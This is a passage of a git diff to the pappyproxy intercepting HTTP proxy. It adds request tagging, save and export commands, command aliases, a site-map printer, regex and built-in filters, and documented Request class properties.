shlex.split(line) + if len(args) == 0: + self.help_untag() + defer.returnValue(None) + tag = args[0] + + ids = [] + if len(args) > 1: + reqs = yield load_reqlist(args[1], False) + ids = [r.reqid for r in reqs] + else: + print "Untagging all in-context requests with tag %s" % tag + reqs = list(pappyproxy.context.active_requests) + + for req in reqs: + if tag in req.tags: + req.tags.remove(tag) + if req.saved: + yield req.async_save() + if ids: + print 'Tag %s removed from %s' % (tag, ', '.join(ids)) + pappyproxy.context.filter_recheck() + + def help_clrtag(self): + print ('Clear all the tags from requests\n' + 'Usage: clrtag ') + + @print_pappy_errors + @crochet.wait_for(timeout=None) + @defer.inlineCallbacks + def do_clrtag(self, line): + args = shlex.split(line) + if len(args) == 0: + self.help_clrtag() + defer.returnValue(None) + reqs = yield load_reqlist(args[1], False) + + for req in reqs: + if req.tags: + req.tags = [] + print 'Tags cleared from request %s' % (req.reqid) + if req.saved: + yield req.async_save() + pappyproxy.context.filter_recheck() + + @print_pappy_errors + @crochet.wait_for(timeout=None) + @defer.inlineCallbacks + def do_save(self, line): + args = shlex.split(line) + if len(args) == 0: + self.help_save() + defer.returnValue(None) + reqs = yield load_reqlist(args) + for req in reqs: + if req.reqid[0] != 'm': + print '%s is already saved' % req.reqid + else: + oldid = req.reqid + try: + yield req.async_deep_save() + print '%s saved with id %s' % (oldid, req.reqid) + except PappyException as e: + print 'Unable to save %s: %s' % (oldid, e) + defer.returnValue(None) + + @print_pappy_errors + @crochet.wait_for(timeout=None) + @defer.inlineCallbacks + def do_export(self, line): + args = shlex.split(line) + if len(args) < 2: + self.help_export() + defer.returnValue(None) + + if args[0] not in ('req', 'rsp'): + raise PappyException('Request or response not specified') + + reqs = yield load_reqlist(args[1]) + for req in reqs: + try: + if args[0] == 'req': + fname = 'req_%s.txt'%req.reqid + with open(fname, 'w') as f: + f.write(req.full_request) + print 'Full request written to %s' % fname + elif args[0] == 'rsp': + fname = 'rsp_%s.txt'%req.reqid + with open(fname, 'w') as f: + f.write(req.full_response) + print 'Full response written to %s' % fname + except PappyException as e: + print 'Unable to export %s: %s' % (req.reqid, e) + @print_pappy_errors def do_gencerts(self, line): dest_dir = line or pappyproxy.config.CERT_DIR - print "This will overwrite any existing certs in %s. Are you sure?" % dest_dir - print "(y/N)", - answer = raw_input() + message = "This will overwrite any existing certs in %s. Are you sure?" % dest_dir + answer = confirm(message, 'n') if not answer or answer[0].lower() != 'y': return False print "Generating certs to %s" % dest_dir @@ -458,6 +829,22 @@ class ProxyCmd(cmd2.Cmd): raw_input() pappyproxy.config.DEBUG_VERBOSITY = 0 + ## Shortcut funcs + + def help_urld(self): + print "Url decode a string\nUsage: urld " + + @print_pappy_errors + def do_urld(self, line): + print urllib.unquote(line) + + def help_urle(self): + print "Url encode a string\nUsage: urle " + + @print_pappy_errors + def do_urle(self, line): + print urllib.quote_plus(line) + @print_pappy_errors def do_testerror(self, line): raise PappyException("Test error") @@ -475,6 +862,13 @@ class ProxyCmd(cmd2.Cmd): def do_ls(self, line): self.onecmd('list %s' % line) + def help_sm(self): + self.help_list() + + @print_pappy_errors + def do_sm(self, line): + self.onecmd('site_map %s' % line) + def help_sr(self): self.help_scope_reset() @@ -552,6 +946,23 @@ class ProxyCmd(cmd2.Cmd): def do_fc(self, line): self.onecmd('filter_clear %s' % line) + def help_fbi(self): + self.help_filter() + + def help_fu(self): + self.help_filter_up() + + @print_pappy_errors + def do_fu(self, line): + self.onecmd('filter_up %s' % line) + + def complete_fbi(self, *args, **kwargs): + return self.complete_builtin_filter(*args, **kwargs) + + @print_pappy_errors + def do_fbi(self, line): + self.onecmd('builtin_filter %s' % line) + def help_rp(self): self.help_repeater() @@ -566,6 +977,54 @@ class ProxyCmd(cmd2.Cmd): def do_ic(self, line): self.onecmd('intercept %s' % line) + def help_rma(self): + self.help_run_macro() + + @print_pappy_errors + def do_rma(self, line): + self.onecmd('run_macro %s' % line) + + def help_rim(self): + self.help_run_int_macro() + + @print_pappy_errors + def do_rim(self, line): + self.onecmd('run_int_macro %s' % line) + + def help_sim(self): + self.help_stop_int_macro() + + @print_pappy_errors + def do_sim(self, line): + self.onecmd('stop_int_macro %s' % line) + + def help_lim(self): + self.help_list_int_macros() + + @print_pappy_errors + def do_lim(self, line): + self.onecmd('list_int_macros %s' % line) + + def help_lma(self): + self.help_load_macros() + + @print_pappy_errors + def do_lma(self, line): + self.onecmd('load_macros %s' % line) + + def help_gma(self, line): + self.help_generate_macro() + + @print_pappy_errors + def do_gma(self, line): + self.onecmd('generate_macro %s' % line) + + def help_gima(self, line): + self.help_generate_int_macro() + + @print_pappy_errors + def do_gima(self, line): + self.onecmd('generate_int_macro %s' % line) def cmd_failure(cmd): @@ -644,15 +1103,25 @@ def printable_data(data): chars += '.' return ''.join(chars) -@crochet.wait_for(timeout=30.0) +@crochet.wait_for(timeout=None) @defer.inlineCallbacks def get_unmangled(reqid): + # Used for the repeater command. Must not be async req = yield pappyproxy.http.Request.load_request(reqid) if req.unmangled: defer.returnValue(req.unmangled.reqid) else: defer.returnValue(None) +@crochet.wait_for(timeout=None) +@defer.inlineCallbacks +def check_reqid(reqid): + # Used for the repeater command. Must not be async + try: + yield pappyproxy.http.Request.load_request(reqid) + except: + raise PappyException('"%s" is not a valid request id' % reqid) + defer.returnValue(None) def view_full_request(request, headers_only=False): if headers_only: @@ -697,7 +1166,10 @@ def print_requests(requests): for request in requests: rid = request.reqid method = request.verb - host = request.headers['host'] + if 'host' in request.headers: + host = request.headers['host'] + else: + host = '??' path = request.full_path reqlen = len(request.raw_data) rsplen = 'N/A' @@ -735,7 +1207,7 @@ def print_requests(requests): def print_request_extended(request): # Prints extended info for the request - title = "Request Info (reqid=%d)" % request.reqid + title = "Request Info (reqid=%s)" % request.reqid print title print '-'*len(title) reqlen = len(request.raw_data) @@ -777,16 +1249,113 @@ def print_request_extended(request): time_made_str = '--' print 'Made on %s' % time_made_str - print 'ID: %d' % request.reqid + print 'ID: %s' % request.reqid print 'Verb: %s' % request.verb print 'Host: %s' % request.host print 'Path: %s' % request.full_path print 'Status Code: %s' % response_code print 'Request Length: %s' % reqlen print 'Response Length: %s' % rsplen - if request.response.unmangled: + if request.response and request.response.unmangled: print 'Unmangled Response Length: %s bytes' % len(request.response.unmangled.full_response) print 'Time: %s' % time_str print 'Port: %s' % request.port print 'SSL: %s' % is_ssl print 'Mangled: %s' % mangle_str + print 'Tags: %s' % (', '.join(request.tags)) + +@defer.inlineCallbacks +def load_reqlist(line, allow_special=True): + # Parses a comma separated list of ids and returns a list of those requests + # prints any errors + ids = re.split(',\s*', line) + reqs = [] + for reqid in ids: + try: + req = yield pappyproxy.http.Request.load_request(reqid, allow_special) + reqs.append(req) + except PappyException as e: + print e + defer.returnValue(reqs) + +def get_site_map(reqs): + # Takes in a list of requests and returns a tree representing the site map + paths_set = set() + for req in reqs: + paths_set.add(req.path_tuple) + paths = sorted(list(paths_set)) + return paths + +def print_tree(tree): + # Prints a tree. Takes in a sorted list of path tuples + _print_tree_helper(tree, 0, []) + +def _get_tree_prefix(depth, print_bars, last): + if depth == 0: + return u'' + else: + ret = u'' + pb = print_bars + [True] + for i in range(depth): + if pb[i]: + ret += u'\u2502 ' + else: + ret += u' ' + if last: + ret += u'\u2514\u2500\u2500 ' + else: + ret += u'\u251c\u2500\u2500 ' + return ret + +def _print_tree_helper(tree, depth, print_bars): + # Takes in a tree and prints it at the given depth + if tree == [] or tree == [()]: + return + while tree[0] == (): + tree = tree[1:] + if tree == [] or tree == [()]: + return + if len(tree) == 1 and len(tree[0]) == 1: + print _get_tree_prefix(depth, print_bars + [False], True) + tree[0][0] + return + + curkey = tree[0][0] + subtree = [] + for row in tree: + if row[0] != curkey: + if curkey == '': + curkey = '/' + print _get_tree_prefix(depth, print_bars, False) + curkey + if depth == 0: + _print_tree_helper(subtree, depth+1, print_bars + [False]) + else: + _print_tree_helper(subtree, depth+1, print_bars + [True]) + curkey = row[0] + subtree = [] + subtree.append(row[1:]) + if curkey == '': + curkey = '/' + print _get_tree_prefix(depth, print_bars, True) + curkey + _print_tree_helper(subtree, depth+1, print_bars + [False]) + +def confirm(message, default='n'): + if 'n' in default.lower(): + default = False + else: + default = True + + print message + if default: + answer = raw_input('(Y/n) ') + else: + answer = raw_input('(y/N) ') + + + if not answer: + return default + + if answer[0].lower() == 'y': + return True + else: + return False + diff --git a/pappyproxy/context.py b/pappyproxy/context.py index 1dd53d0..78ffab6 100644 --- a/pappyproxy/context.py +++ b/pappyproxy/context.py @@ -1,7 +1,10 @@ from pappyproxy import http from twisted.internet import defer from util import PappyException +import crochet import shlex +import datetime +import re """ @@ -13,7 +16,40 @@ Functions and classes involved with managing the current context and filters scope = [] base_filters = [] active_filters = [] -active_requests = [] +active_requests = set() +inactive_requests = set() +all_reqs = set() +in_memory_requests = set() +next_in_mem_id = 1 + +class BuiltinFilters(object): + _filters = { + 'not_image': ( + ['path nctr "(\.png$|\.jpg$|\.gif$)"'], + 'Filter out image requests', + ), + 'not_jscss': ( + ['path nctr "(\.js$|\.css$)"'], + 'Filter out javascript and css files', + ), + } + + @staticmethod + def get(name): + if name not in BuiltinFilters._filters: + raise PappyException('%s not a bult in filter' % name) + if name in BuiltinFilters._filters: + return [Filter(f) for f in BuiltinFilters._filters[name][0]] + + @staticmethod + def list(): + return [k for k, v in BuiltinFilters._filters.iteritems()] + + @staticmethod + def help(name): + if name not in BuiltinFilters._filters: + raise PappyException('%s not a bult in filter' % name) + return Filter(BuiltinFilters._filters[name][1]) class FilterParseError(PappyException): pass @@ -27,6 +63,9 @@ class Filter(object): def __call__(self, *args, **kwargs): return self.filter_func(*args, **kwargs) + def __repr__(self): + return '' % self.filter_string + @staticmethod def from_filter_string(filter_string): args = shlex.split(filter_string) @@ -39,9 +78,6 @@ class Filter(object): negate = True relation = relation[1:] - # Raises exception if invalid - comparer = get_relation(relation) - if len(args) > 2: val1 = args[2] elif relation not in ('ex',): @@ -57,6 +93,9 @@ class Filter(object): else: comp2 = None + # Raises exception if invalid + comparer = get_relation(relation, val1) + if field in ("all",): new_filter = gen_filter_by_all(comparer, val1, negate) elif field in ("host", "domain", "hs", "dm"): @@ -69,7 +108,7 @@ class Filter(object): new_filter = gen_filter_by_verb(comparer, val1, negate) elif field in ("param", "pm"): if len(args) > 4: - comparer2 = get_relation(comp2) + comparer2 = get_relation(comp2, val2) new_filter = gen_filter_by_params(comparer, val1, comparer2, val2, negate) else: @@ -77,7 +116,7 @@ class Filter(object): negate=negate) elif field in ("header", "hd"): if len(args) > 4: - comparer2 = get_relation(comp2) + comparer2 = get_relation(comp2, val2) new_filter = gen_filter_by_headers(comparer, val1, comparer2, val2, negate) else: @@ -87,7 +126,7 @@ class Filter(object): new_filter = gen_filter_by_raw_headers(comparer, val1, negate) elif field in ("sentcookie", "sck"): if len(args) > 4: - comparer2 = get_relation(comp2) + comparer2 = get_relation(comp2, val2) new_filter = gen_filter_by_submitted_cookies(comparer, val1, comparer2, val2, negate) else: @@ -95,7 +134,7 @@ class Filter(object): negate=negate) elif field in ("setcookie", "stck"): if len(args) > 4: - comparer2 = get_relation(comp2) + comparer2 = get_relation(comp2, val2) new_filter = gen_filter_by_set_cookies(comparer, val1, comparer2, val2, negate) else: @@ -105,6 +144,10 @@ class Filter(object): new_filter = gen_filter_by_response_code(comparer, val1, negate) elif field in ("responsetime", "rt"): pass + elif field in ("tag", "tg"): + new_filter = gen_filter_by_tag(comparer, val1, negate) + elif field in ("saved", "svd"): + new_filter = gen_filter_by_saved(comparer, val1, negate) else: raise FilterParseError("%s is not a valid field" % field) @@ -113,19 +156,16 @@ class Filter(object): else: raise FilterParseError("Error creating filter") - def filter_reqs(requests, filters): - to_delete = [] + to_delete = set() # Could definitely be more efficient, but it stays like this until # it impacts performance - for filt in filters: - for req in requests: + for req in requests: + for filt in filters: if not filt(req): - to_delete.append(req) - new_requests = [r for r in requests if r not in to_delete] - requests = new_requests - to_delete = [] - return requests + to_delete.add(req) + requests = [r for r in requests if r not in to_delete] + return (requests, list(to_delete)) def cmp_is(a, b): return str(a) == str(b) @@ -134,7 +174,7 @@ def cmp_contains(a, b): return (b.lower() in a.lower()) def cmp_exists(a, b=None): - return (a is not None) + return (a is not None and a != []) def cmp_len_eq(a, b): return (len(a) == int(b)) @@ -154,9 +194,18 @@ def cmp_gt(a, b): def cmp_lt(a, b): return (int(a) < int(b)) +def cmp_containsr(a, b): + try: + if re.search(b, a): + return True + return False + except re.error as e: + raise PappyException('Invalid regexp: %s' % e) + def gen_filter_by_attr(comparer, val, attr, negate=False): """ + NOINDEX Filters by an attribute whose name is shared by the request and response objects """ @@ -222,7 +271,7 @@ def gen_filter_by_response_code(comparer, val, negate=False): def gen_filter_by_path(comparer, val, negate=False): def f(req): - result = comparer(req.path, val) + result = comparer(req.full_path, val) if negate: return not result else: @@ -250,6 +299,35 @@ def gen_filter_by_verb(comparer, val, negate=False): return f +def gen_filter_by_tag(comparer, val, negate=False): + def f(req): + result = False + for tag in req.tags: + if comparer(tag, val): + result = True + break + if negate: + return not result + else: + return result + + return f + +def gen_filter_by_saved(comparer, val, negate=False): + def f(req): + result = False + if req.saved: + result = comparer('true', val) + else: + result = comparer('false', val) + if negate: + return not result + else: + return result + + return f + + def check_repeatable_dict(d, comparer1, val1, comparer2=None, val2=None, negate=False): result = False for k, v in d.all_pairs(): @@ -319,11 +397,11 @@ def gen_filter_by_set_cookies(keycomparer, keyval, valcomparer=None, return f -def gen_filter_by_get_params(keycomparer, keyval, valcomparer=None, valval=None, +def gen_filter_by_url_params(keycomparer, keyval, valcomparer=None, valval=None, negate=False): def f(req): matched = False - for k, v in req.get_params.all_pairs(): + for k, v in req.url_params.all_pairs(): if keycomparer(k, keyval): if not valcomparer: matched = True @@ -362,7 +440,7 @@ def gen_filter_by_params(keycomparer, keyval, valcomparer=None, valval=None, matched = False # purposely don't pass negate here, otherwise we get double negatives f1 = gen_filter_by_post_params(keycomparer, keyval, valcomparer, valval) - f2 = gen_filter_by_get_params(keycomparer, keyval, valcomparer, valval) + f2 = gen_filter_by_url_params(keycomparer, keyval, valcomparer, valval) if f1(req): matched = True if f2(req): @@ -375,7 +453,7 @@ def gen_filter_by_params(keycomparer, keyval, valcomparer=None, valval=None, return f -def get_relation(s): +def get_relation(s, val): # Gets the relation function associated with the string # Returns none if not found if s in ("is",): @@ -383,21 +461,21 @@ def get_relation(s): elif s in ("contains", "ct"): return cmp_contains elif s in ("containsr", "ctr"): - # TODO - raise PappyException("Contains (regexp) is not implemented yet. Sorry.") + validate_regexp(val) + return cmp_containsr elif s in ("exists", "ex"): return cmp_exists - elif s in ("Leq"): + elif s in ("Leq",): return cmp_len_eq - elif s in ("Lgt"): + elif s in ("Lgt",): return cmp_len_gt - elif s in ("Llt"): + elif s in ("Llt",): return cmp_len_lt - elif s in ("eq"): + elif s in ("eq",): return cmp_eq - elif s in ("gt"): + elif s in ("gt",): return cmp_gt - elif s in ("lt"): + elif s in ("lt",): return cmp_lt raise FilterParseError("Invalid relation: %s" % s) @@ -409,27 +487,78 @@ def init(): @defer.inlineCallbacks def reload_from_storage(): global active_requests - active_requests = yield http.Request.load_from_filters(active_filters) + global all_reqs + active_requests = set() + inactive_requests = set() + all_reqs = set() + reqs = yield http.Request.load_all_requests() + for req in reqs: + add_request(req) + +def update_active_requests(): + global active_requests + global all_reqs + inactive_requests = set() + active_requests = set() + for req in all_reqs: + add_request(req) + def add_filter(filt): global active_requests global active_filters active_filters.append(filt) - active_requests = filter_reqs(active_requests, active_filters) - + (active_requests, deleted) = filter_reqs(active_requests, active_filters) + for r in deleted: + inactive_requests.add(r) + def add_request(req): global active_requests + global active_filters + global in_memory_requests + global all_reqs + + # Check if we have to add it to in_memory + if not req.reqid: + req.reqid = get_memid() + if req.reqid[0] == 'm': + in_memory_requests.add(req) + + # Check if we have to add it to active_requests if passes_filters(req, active_filters): - active_requests.append(req) - + active_requests.add(req) + else: + inactive_requests.add(req) + + # Add it to all_reqs + all_reqs.add(req) + +def remove_request(req): + global in_memory_requests + global inactive_requests + global active_requests + global all_reqs + + if req in in_memory_requests: + in_memory_requests.remove(req) + if req in inactive_requests: + inactive_requests.remove(req) + if req in active_requests: + active_requests.remove(req) + if req in all_reqs: + all_reqs.remove(req) + def filter_recheck(): global active_requests - global active_filters - new_reqs = [] - for req in active_requests: + global inactive_requests + global all_reqs + active_requests = set() + inactive_requests = set() + for req in all_reqs: if passes_filters(req, active_filters): - new_reqs.append(req) - active_requests = new_reqs + active_requests.add(req) + else: + inactive_requests.add(req) def passes_filters(request, filters): for filt in filters: @@ -437,13 +566,6 @@ def passes_filters(request, filters): return False return True -def sort(key=None): - global active_requests - if key: - active_requests = sorted(active_requests, key=key) - else: - active_requests = sorted(active_requests, key=lambda r: r.reqid) - def in_scope(request): global scope return passes_filters(request, scope) @@ -457,12 +579,11 @@ def save_scope(): global scope scope = active_filters[:] -@defer.inlineCallbacks def reset_to_scope(): - global active_filters global scope + global active_filters active_filters = scope[:] - yield reload_from_storage() + update_active_requests() def print_scope(): global scope @@ -503,3 +624,51 @@ def load_scope(dbpool): new_filter = Filter(row[1]) new_scope.append(new_filter) scope = new_scope + +def get_memid(): + global next_in_mem_id + i = 'm%d' % next_in_mem_id + next_in_mem_id += 1 + return i + +@defer.inlineCallbacks +def clear_tag(tag): + # Remove a tag from every request + reqs = yield http.Request.load_requests_by_tag(tag) + for req in reqs: + req.tags.remove(tag) + if req.saved: + yield req.async_save() + filter_recheck() + +@defer.inlineCallbacks +def async_set_tag(tag, reqs): + """ + async_set_tag(tag, reqs) + Remove the tag from every request then add the given requests to memory and + give them the tag. + """ + yield clear_tag(tag) + for req in reqs: + if not req.reqid: + req.reqid = get_memid() + req.tags.append(tag) + add_request(req) + +@crochet.wait_for(timeout=180.0) +@defer.inlineCallbacks +def set_tag(tag, reqs): + yield async_set_tag(tag, reqs) + +def validate_regexp(r): + try: + re.compile(r) + except re.error as e: + raise PappyException('Invalid regexp: %s' % e) + +def filter_up(): + # Deletes the last filter of the context + global active_filters + if active_filters: + active_filters = active_filters[:-1] + filter_recheck() diff --git a/pappyproxy/http.py b/pappyproxy/http.py index 884b579..b90edac 100644 --- a/pappyproxy/http.py +++ b/pappyproxy/http.py @@ -11,6 +11,7 @@ import urlparse import zlib from twisted.internet import defer, reactor from pappyproxy.util import PappyException +import bs4 ENCODE_NONE = 0 ENCODE_DEFLATE = 1 @@ -18,10 +19,13 @@ ENCODE_GZIP = 2 dbpool = None -class DataAlreadyComplete(PappyException): - pass - def init(pool): + """ + Initialize the http module. + + :param pool: The ConnectionPool to use to store the request/response objects + :type pool: SQLite ConnectionPool + """ global dbpool if dbpool is None: dbpool = pool @@ -31,7 +35,7 @@ def destruct(): assert(dbpool) dbpool.close() -def decode_encoded(data, encoding): +def _decode_encoded(data, encoding): if encoding == ENCODE_NONE: return data @@ -42,18 +46,7 @@ def decode_encoded(data, encoding): dec_data = dec_data.read() return dec_data -def repeatable_parse_qs(s): - pairs = s.split('&') - ret_dict = RepeatableDict() - for pair in pairs: - if '=' in pair: - t = tuple(pair.split('=', 1)) - ret_dict.append(t[0], t[1]) - else: - ret_dict.append(pair, None) - return ret_dict - -def strip_leading_newlines(string): +def _strip_leading_newlines(string): while (len(string) > 1 and string[0:2] == '\r\n') or \ (len(string) > 0 and string[0] == '\n'): if len(string) > 1 and string[0:2] == '\r\n': @@ -62,7 +55,7 @@ def strip_leading_newlines(string): string = string[1:] return string -def consume_line(instr): +def _consume_line(instr): # returns (line, rest) l = [] pos = 0 @@ -75,6 +68,55 @@ def consume_line(instr): pos += 1 return instr +################### +## Functions to use + +def get_request(url='', url_params={}): + """ + get_request(url='', url_params={}) + + Create a request object that makes a GET request to the given url with the + given url params. + """ + r = Request() + r.status_line = 'GET / HTTP/1.1' + r.url = url + r.headers['Host'] = r.host + if url_params: + r.url_params.from_dict(url_params) + return r + +def post_request(url, post_params={}, url_params={}): + """ + post_request(url, post_params={}, url_params={}) + + Create a request object that makes a POST request to the given url with the + given post and url params. + """ + r = Request() + r.status_line = 'POST / HTTP/1.1' + r.url = url + r.headers['Host'] = r.host + if url_params: + r.url_params.from_dict(url_params) + if post_params: + r.post_params.from_dict(post_params) + return r + +def repeatable_parse_qs(s): + pairs = s.split('&') + ret_dict = RepeatableDict() + for pair in pairs: + if '=' in pair: + t = tuple(pair.split('=', 1)) + ret_dict.append(t[0], t[1]) + else: + ret_dict.append(pair, None) + return ret_dict + +########## +## Classes + class RepeatableDict: """ A dict that retains the order of items inserted and keeps track of @@ -190,6 +232,10 @@ class RepeatableDict: if do_callback: self._mod_callback() + def from_dict(self, d): + self._pairs = list(d.items()) + self._mod_callback() + def sort(self): # Sorts pairs by key alphabetaclly pairs = sorted(pairs, key=lambda x: x[0]) @@ -211,7 +257,7 @@ class LengthData: def add_data(self, data): if self.complete: - raise DataAlreadyComplete() + raise PappyException("Data already complete!") remaining_length = self.length-len(self.raw_data) if len(data) >= remaining_length: self.raw_data += data[:remaining_length] @@ -310,6 +356,9 @@ class ChunkedData: self._state = self._next_state class ResponseCookie(object): + """ + A cookie representing a cookie set by a response + """ def __init__(self, set_cookie_string=None): self.key = None @@ -322,10 +371,16 @@ class ResponseCookie(object): self.http_only = False if set_cookie_string: - self.from_cookie(set_cookie_string) + self._from_cookie(set_cookie_string) @property - def cookie_av(self): + def cookie_str(self): + """ + Returns the full string of the cookie. ie ``foo=bar; secure; path=/`` + + :getter: Returns the full string of the cookie. + :setter: Set the metadata from a cookie string. ie from a ``Set-Cookie`` header + """ av = '%s=%s' % (self.key, self.val) to_add = [av] if self.expires: @@ -342,7 +397,11 @@ class ResponseCookie(object): to_add.append('httponly') return '; '.join(to_add) - def parse_cookie_av(self, cookie_av): + @cookie_str.setter + def cookie_str(self, val): + self._from_cookie(val) + + def _parse_cookie_av(self, cookie_av): if '=' in cookie_av: key, val = cookie_av.split('=', 1) key = key.lstrip() @@ -359,7 +418,15 @@ class ResponseCookie(object): elif cookie_av.lstrip().lower() == 'httponly': self.http_only = True - def from_cookie(self, set_cookie_string): + def _from_cookie(self, set_cookie_string): + self.key = None + self.val = None + self.expires = None + self.max_age = None + self.domain = None + self.path = None + self.secure = False + self.http_only = False if ';' in set_cookie_string: cookie_pair, rest = set_cookie_string.split(';', 1) if '=' in cookie_pair: @@ -373,25 +440,70 @@ class ResponseCookie(object): cookie_avs = rest.split(';') for cookie_av in cookie_avs: cookie_av.lstrip() - self.parse_cookie_av(cookie_av) + self._parse_cookie_av(cookie_av) else: self.key, self.val = set_cookie_string.split('=',1) class Request(object): + """ + :ivar time_end: The datetime that the request ended. + :vartype time_end: datetime.datetime + :ivar time_start: The datetime that the request was made + :vartype time_start: datetime.datetime + :ivar complete: When creating the request with :func:`~pappyproxy.http.Request.add_line` + and :func:`~pappyproxy.http.Request.add_data`, returns whether + the request is complete. + :vartype complete: Bool + :ivar cookies: Cookies sent with the request + :vartype cookies: RepeatableDict + :ivar fragment: The fragment part of the url (The part that comes after the #) + :vartype fragment: String + :ivar url_params: The url parameters of the request (aka the get parameters) + :vartype url_params: RepeatableDict + :ivar headers: The headers of the request + :vartype headers: RepeatableDict + :ivar headers_complete: When creating the request with + :func:`~pappyproxy.http.Request.add_line` and + :func:`~pappyproxy.http.Request.add_data`, returns whether the headers + are complete + :vartype headers_complete: Bool + :ivar path: The path of the request + :vartype path: String + :ivar port: The port that the request was sent to (or will be sent to) + :vartype port: Integer + :ivar post_params: The post parameters of the request + :vartype post_params: RepeatableDict + :ivar reqid: The request id of the request + :vartype reqid: String + :ivar response: The associated response of this request + :vartype response: Response + :ivar submitted: Whether the request has been submitted + :vartype submitted: Bool + :ivar unmangled: If the request was mangled, the version of the request + before it was mangled. + :vartype unmangled: Request + :ivar verb: The HTTP verb of the request (ie POST, GET) + :vartype verb: String + :ivar version: The HTTP version of the request (ie HTTP/1.1) + :vartype version: String + :ivar tags: Tags associated with the request + :vartype tags: List of Strings + """ - def __init__(self, full_request=None, update_content_length=False): + + def __init__(self, full_request=None, update_content_length=True, + port=None, is_ssl=None): self.time_end = None self.time_start = None self.complete = False self.cookies = RepeatableDict() self.fragment = None - self.get_params = RepeatableDict() - self.header_len = 0 + self.url_params = RepeatableDict() self.headers = RepeatableDict(case_insensitive=True) self.headers_complete = False - self.host = None - self.is_ssl = False + self._host = None + self._is_ssl = False self.path = '' self.port = None self.post_params = RepeatableDict() @@ -402,21 +514,66 @@ class Request(object): self.unmangled = None self.verb = '' self.version = '' + self.tags = [] self._first_line = True - #self._connect_response = False - #self._encoding_type = ENCODE_NONE self._data_length = 0 self._partial_data = '' - self.set_dict_callbacks() + self._set_dict_callbacks() + + # Set values from init + if is_ssl: + self.is_ssl = True + if port: + self.port = port # Get values from the raw request if full_request is not None: - self.from_full_request(full_request, update_content_length) + self._from_full_request(full_request, update_content_length) + + def __copy__(self): + if not self.complete: + raise PappyException("Cannot copy incomplete requests") + newreq = Request(self.full_request) + newreq.is_ssl = self.is_ssl + newreq.port = self.port + newreq._host = self._host + newreq.time_start = self.time_start + newreq.time_end = self.time_end + if self.unmangled: + newreq.unmangled = self.unmangled.copy() + if self.response: + newreq.response = self.response.copy() + return newreq + + def __eq__(self, other): + if self.full_request != other.full_request: + return False + if self.port != other.port: + return False + if self.is_ssl != other.is_ssl: + return False + if self._host != other._host: + return False + return True + + def copy(self): + """ + Returns a copy of the request + + :rtype: Request + """ + return self.__copy__() @property def rsptime(self): + """ + The response time of the request + + :getter: Returns the response time of the request + :type: datetime.timedelta + """ if self.time_start and self.time_end: return self.time_end-self.time_start else: @@ -424,21 +581,36 @@ class Request(object): @property def status_line(self): + """ + The status line of the request. ie `GET / HTTP/1.1` + + :getter: Returns the status line of the request + :setter: Sets the status line of the request + :type: string + """ if not self.verb and not self.path and not self.version: return '' return '%s %s %s' % (self.verb, self.full_path, self.version) @status_line.setter def status_line(self, val): - self.handle_statusline(val) + self._handle_statusline(val) @property def full_path(self): + """ + The full path of the request including URL params and fragment. + ie `/path/to/stuff?foo=bar&baz=something#somewhere` + + :getter: Returns the full path of the request + :type: string + """ + path = self.path - if self.get_params: + if self.url_params: path += '?' pairs = [] - for pair in self.get_params.all_pairs(): + for pair in self.url_params.all_pairs(): if pair[1] is None: pairs.append(pair[0]) else: @@ -451,6 +623,12 @@ class Request(object): @property def raw_headers(self): + """ + The raw text of the headers including the extra newline at the end. + + :getter: Returns the raw text of the headers including the extra newline at the end. + :type: string + """ ret = self.status_line + '\r\n' for k, v in self.headers.all_pairs(): ret = ret + "%s: %s\r\n" % (k, v) @@ -459,6 +637,12 @@ class Request(object): @property def full_request(self): + """ + The full text of the request including the headers and data. + + :getter: Returns the full text of the request + :type: string + """ if not self.status_line: return '' ret = self.raw_headers @@ -467,16 +651,33 @@ class Request(object): @property def raw_data(self): + """ + The data portion of the request + + :getter: Returns the data portion of the request + :setter: Set the data of the request and update metadata + :type: string + """ return self._raw_data @raw_data.setter def raw_data(self, val): self._raw_data = val - self.update_from_data() + self._update_from_data() self.complete = True @property def url(self): + """ + The full url of the request including url params, protocol, etc. + ie `https://www.google.com`, `http://foo.fakewebsite.com:1234/path?a=b`. + When setting the URL, the port, is_ssl, path, url params, host, etc are all + automatically updated. + + :getter: Returns the url of the request + :setter: Sets the url of the request and updates metadata + :type: string + """ if self.is_ssl: retstr = 'https://' else: @@ -485,12 +686,12 @@ class Request(object): if not ((self.is_ssl and self.port == 443) or \ (not self.is_ssl and self.port == 80)): retstr += ':%d' % self.port - if self.path: + if self.path and self.path != '/': retstr += self.path - if self.get_params: + if self.url_params: retstr += '?' pairs = [] - for p in self.get_params.all_pairs(): + for p in self.url_params.all_pairs(): pairs.append('='.join(p)) retstr += '&'.join(pairs) if self.fragment: @@ -501,22 +702,87 @@ class Request(object): def url(self, val): self._handle_statusline_uri(val) - def set_dict_callbacks(self): - # Add callbacks to dicts - self.headers.set_modify_callback(self.update_from_text) - self.cookies.set_modify_callback(self.update_from_objects) - self.post_params.set_modify_callback(self.update_from_data) + @property + def host(self): + """ + The host of the request. ie `www.google.com`. + + :getter: Returns the host of the request + :setter: Changes the host of the request and updates the Host header + :type: string + """ + return self._host + + @host.setter + def host(self, val): + self._host = val + self.headers.update('Host', val, do_callback=False) + + @property + def is_ssl(self): + """ + Whether the request is sent over SSL + + :getter: Returns if the request is sent over SSL + :setter: Sets if the request is sent over SSL + :type: Bool + """ + return self._is_ssl + + @is_ssl.setter + def is_ssl(self, val): + if val: + self._is_ssl = True + if self.port == 80: + self.port = 443 + else: + self._is_ssl = False + if self.port == 443: + self.port = 80 - def from_full_request(self, full_request, update_content_length=False): + @property + def saved(self): + """ + If the request is saved in the data file + + :getter: Returns True if the request is saved in the data file + :type: Bool + """ + if self.reqid is None: + return False + try: + _ = int(self.reqid) + return True + except (ValueError, TypeError): + return False + + @property + def path_tuple(self): + """ + The path in tuple form starting with the host. For example, path_parts for + a request to http://www.example.com/foo/bar.php would be:: + + ('www.example.com', 'foo', 'bar.php') + + :getter: Returns the path in tuple form + :type: Tuple + """ + # the first element is blank because the path always starts with / + ret = [self.host] + self.path.split('/')[1:] + if ret[-1] == '': + ret = ret[:-1] + return tuple(ret) + + def _from_full_request(self, full_request, update_content_length=False): # Get rid of leading CRLF. Not in spec, should remove eventually # technically doesn't treat \r\n same as \n, but whatever. - full_request = strip_leading_newlines(full_request) + full_request = _strip_leading_newlines(full_request) if full_request == '': return remaining = full_request while remaining and not self.headers_complete: - line, remaining = consume_line(remaining) + line, remaining = _consume_line(remaining) self.add_line(line) if not self.headers_complete: @@ -528,16 +794,26 @@ class Request(object): else: self.add_data(remaining) assert(self.complete) + self._handle_data_end() + + ############################ + ## 